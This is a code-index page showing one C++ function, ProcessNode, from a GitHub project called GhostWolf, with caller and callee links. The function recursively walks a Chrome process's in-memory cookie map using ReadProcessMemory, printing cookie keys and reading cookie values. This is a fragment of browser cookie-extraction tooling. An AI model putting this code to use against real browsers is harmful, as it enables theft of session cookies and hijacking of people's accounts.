MCPcopy Create free account
hub / github.com/SickleSec/GhostWolf / ProcessNode

Function ProcessNode

Ghostwolf/Application.cpp:459–480  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

457
458}
459void ProcessNode(HANDLE hProcess, const Node& node, AppLication targetBrowser, AppMode mode) {
460 PRINT("Cookie Key: ");
461 ReadStringChrome(hProcess, node.key);
462 PRINT("Attempting to read cookie values from address: 0x%p\n", (void*)node.valueAddress);
463 ProcessNodeValue(hProcess, node.valueAddress, targetBrowser, mode);
464
465 if (node.left != 0) {
466 Node leftNode;
467 if (ReadProcessMemory(hProcess, reinterpret_cast<LPCVOID>(node.left), &leftNode, sizeof(Node), nullptr))
468 ProcessNode(hProcess, leftNode, targetBrowser, mode);
469 else
470 PRINT("Error reading left node");
471 }
472
473 if (node.right != 0) {
474 Node rightNode;
475 if (ReadProcessMemory(hProcess, reinterpret_cast<LPCVOID>(node.right), &rightNode, sizeof(Node), nullptr))
476 ProcessNode(hProcess, rightNode, targetBrowser, mode);
477 else
478 PRINT("Error reading right node");
479 }
480}
481void ProcessPassNode(HANDLE hProcess, const PassNode& node, int64_t nodeAddress, AppLication targetBrowser, AppMode mode) {
482 PRINT("\nAttempting to read cookie values from address: 0x%p\n", (void*)node.valueAddress);
483 int64_t reslut = node.valueAddress & 0xFFFF000000000000;

Callers 1

WalkCookieMapFunction · 0.85

Calls 2

ReadStringChromeFunction · 0.85
ProcessNodeValueFunction · 0.85

Tested by

no test coverage detected